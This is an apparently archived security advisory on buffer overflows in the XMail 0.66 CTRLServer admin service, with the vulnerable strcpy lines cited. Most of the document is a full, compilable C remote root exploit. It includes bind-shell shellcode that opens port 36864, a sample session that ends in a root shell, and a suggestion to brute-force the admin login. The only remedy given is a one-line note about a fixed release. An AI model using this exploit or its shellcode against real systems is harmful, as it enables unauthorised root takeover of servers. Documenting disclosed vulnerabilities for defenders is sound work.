COMMAND

    Xmail

SYSTEMS AFFECTED

    Xmail version 0.66 and prior version

PROBLEM

    'isno' found following.  He discovered all versions of XMail  have
    buffer overflow vulnerabilities in CTRLServer.  These holes is NOT
    same as APOP,USER command buffer overflow vulnerability discovered
    beforetime.  And this problem allows a remote attacker to  execute
    arbitrary code by issuing a long

        cfgfileget(cfgfileset,domainadd,domaindel)

    command.

    CTRLServer  is  a  tool  of  XMail  for administering purpose.  It
    listen on port 6017(tunable).  There are some bad programming lead
    to vulnerabilities.

    In CTRLSvr.cpp

        line 1888: CTRLDo_domainadd() function
        StrLower(strcpy(szDomain, ppszTokens[1]));

    szDomain is a 256 bytes local buffer,ppszTokens[1] is parsed  from
    user input command, XMail copies them without bounds checking.  It
    is possible to  cause cover EIP,because  XMail is run  as root, an
    attacker can execute arbitrary code with root privilege.

    There are same vulnerabilities in CTRLSvr.cpp

        line 1921: CTRLDo_domaindel() function
        StrLower(strcpy(szDomain, ppszTokens[1]));

        line 2448: CTRLDo_cfgfileget() function
        strcpy(szRelativePath, ppszTokens[1]);

        line 2523: CTRLDo_cfgfileset() function
        strcpy(szRelativePath, ppszTokens[1]);

    Before exploit the vulnerabilities, it is need to login with
    CTRLServer username&password.  It is easy to get that by brute
    forcing.

    'isno' wrote a program to test the vulnerabilities, on Redhat  6.0
    i386+XMail 0.65 (0.66 has same bugs):

        [root@isno /root]# gcc -o xmailx xmailx.c
        [root@isno /root]# ./xmailx isno mypasswd 127.0.0.1

        Use retAddress: 0xbc7fe974

        +00000 <981016616.25626@127.0.0.1> XMail 0.65 (Linux/Ix86) CTRL Server; Thu, 01 Feb 2001 16:36:56 +0800

        Starting to login...
        Success!now telnet 127.0.0.1 36864
        [root@isno /root]# telnet 127.0.0.1 36864
        Trying 127.0.0.1...
        Connected to 127.0.0.1.
        Escape character is '^]'.
        id;
        uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
        : command not found

    Because  the  buffer  is  too  small  to  set  many  of NOP before
    shellcode, it is deficult to guess ret.  And it cannot brute force
    offset,  because  once  sending  overflow  code to the CTRLServer,
    XMail will be crashed.

    Exploit:

    /*
     * XMail CTRLServer remote root exploit for linux/x86
     *
     * Author: isno(isno@etang.com), 01/2001
     *
     * NOTE:
     *  Because the buffer is too small to set many of NOP before shellcode,it
     * is deficult to guess ret.And it cannot brute force offset,because once
     * sending overflow code to the CTRLServer, XMail will be crashed.
     *
     *
     * Tested on:
     *   RedHat Linux 6.0 i386 XMail 0.65
     *
     * Compile:
     *   gcc -o xmailx xmailx.c
     *
     * Usage:
     *   ./xmailx username passwd targethost [offset]
     *   and telnet targethost 36864
     *
     */

    #include <stdio.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define BSIZE			512
    #define RETADDRESS		0xbc7fe988    /* maybe 0xbffff9a4 in some box */
    #define OFFSET			20
    #define NOP				0x90
    #define PORT			6017

    void usage(char *app);

    /*  shellcode bind TCP port 36864  */
    char shellcode[]=
    /* main: */
    "\xeb\x72"                                /* jmp callz               */
    /* start: */
    "\x5e"                                    /* popl %esi               */
    /* socket() */
    "\x29\xc0"                                /* subl %eax, %eax         */
    "\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
    "\x40"                                    /* incl %eax               */
    "\x89\xc3"                                /* movl %eax, %ebx         */
    "\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
    "\x40"                                    /* incl %eax               */
    "\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
    "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
    "\xb0\x66"                                /* movb $0x66, %al         */
    "\xcd\x80"                                /* int $0x80               */
    /* bind() */
    "\x43"                                    /* incl %ebx               */
    "\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
    "\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
    "\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
    "\x29\xc0"                                /* subl %eax, %eax         */
    "\x89\xc2"                                /* movl %eax, %edx         */
    "\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
    "\xb0\x90"                                /* movb $0x90, %al         */
    "\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
    "\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
    "\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
    "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
    "\xb0\x66"                                /* movb $0x66, %al         */
    "\xcd\x80"                                /* int $0x80               */
    /* listen() */
    "\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
    "\x43"                                    /* incl %ebx               */
    "\x43"                                    /* incl %ebx               */
    "\xb0\x66"                                /* movb $0x66, %al         */
    "\xcd\x80"                                /* int $0x80               */
    /* accept() */
    "\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
    "\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
    "\xb0\x66"                                /* movb $0x66, %al         */
    "\x43"                                    /* incl %ebx               */
    "\xcd\x80"                                /* int $0x80               */
    /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
    "\x86\xc3"                                /* xchgb %al, %bl          */
    "\xb0\x3f"                                /* movb $0x3f, %al         */
    "\x29\xc9"                                /* subl %ecx, %ecx         */
    "\xcd\x80"                                /* int $0x80               */
    "\xb0\x3f"                                /* movb $0x3f, %al         */
    "\x41"                                    /* incl %ecx               */
    "\xcd\x80"                                /* int $0x80               */
    "\xb0\x3f"                                /* movb $0x3f, %al         */
    "\x41"                                    /* incl %ecx               */
    "\xcd\x80"                                /* int $0x80               */
    /* execve() */
    "\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
    "\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
    "\x87\xf3"                                /* xchgl %esi, %ebx        */
    "\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
    "\xb0\x0b"                                /* movb $0x0b, %al         */
    "\xcd\x80"                                /* int $0x80               */
    /* callz: */
    "\xe8\x89\xff\xff\xff"                    /* call start              */
    "/bin/sh";
    /*  128 bytes  */

    int main(int argc, char *argv[])
    {
	    char buff[BSIZE+1];
	    char sendbuf[600]="cfgfileget\t";
	    char loginbuf[200];
	    char rcvbuf[1024];
	    char *username;
	    char *password;
	    char *target;
	    int i;
	    int noprange;
	    int offset=OFFSET;
	    u_long sp=RETADDRESS;
	    u_long addr;

	    int skt;
	    long inet;
	    struct hostent *host;
        struct sockaddr_in sin;

        if(argc<4)
	    {
		    usage(argv[0]);
		    return 1;
	    }

        username = argv[1];
        password = argv[2];
        target = argv[3];
        if(argc>4)
	    {
		    offset = atoi(argv[4]);
	    }

	    addr=sp - (long)offset;
	    noprange=256+4-strlen(shellcode);
	    memset(buff, NOP, BSIZE);
	    memcpy(buff+(long)noprange, shellcode, strlen(shellcode));
	    for (i = 256+4; i < BSIZE; i += 4)
              *((int *) &buff[i]) = addr;

	    buff[BSIZE]='\0';

	    fprintf(stderr, "\nUse retAddress: 0x%08x\n\n",addr);

	    strcat(sendbuf, buff);
	    strcat(sendbuf, "\r\n");
	    strcpy(loginbuf,username);
	    strcat(loginbuf,"\t");      /* command should splitted by TAB */
	    strcat(loginbuf,password);
	    strcat(loginbuf,"\r\n");

	    skt = socket(PF_INET, SOCK_STREAM, 0);
	    if(skt == 0)
        {
          perror("socket()");
          exit(-1);
        }

        inet = inet_addr(target);
	    if(inet == -1)
        {
          if(host = gethostbyname(target))
	        memcpy(&inet, host->h_addr, 4);
          else
		    inet = -1;
          if(inet == -1)
		    {
			    fprintf(stderr, "Cant resolv %s!!\n", target);
			    exit (-1);
		    }
        }
	    sin.sin_family = PF_INET;
        sin.sin_port = htons(PORT);
        sin.sin_addr.s_addr = inet;
	    if (connect (skt, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        {
          perror("Connect()");
          exit(-1);
        }
	    read(skt, rcvbuf, 1024);
	    fprintf(stderr, "%s\n", rcvbuf);
	    memset(rcvbuf, 0x0, 1024);
	    fprintf(stderr, "Starting to login...\n");
	    write(skt, loginbuf, strlen(loginbuf));
	    sleep(1);
	    read(skt, rcvbuf, 1024);
	    if(strstr(rcvbuf,"00000")==NULL)
	    {
		    perror("Login failed!");
		    exit(-1);
	    }
	    write(skt, sendbuf, strlen(sendbuf));
	    close(skt);

	    fprintf(stderr, "Success!now telnet %s 36864\n", target);
	    return 1;
    }

    void usage(char *app)
    {
      fprintf(stderr, "\nXMail 0.65/0.66 CTRLSvr exploit\n\n");
      fprintf(stderr, "Usage: %s username passwd targethost [offset]\n\n", app);
      return;
    }

SOLUTION

    It'll be fixed in 0.68.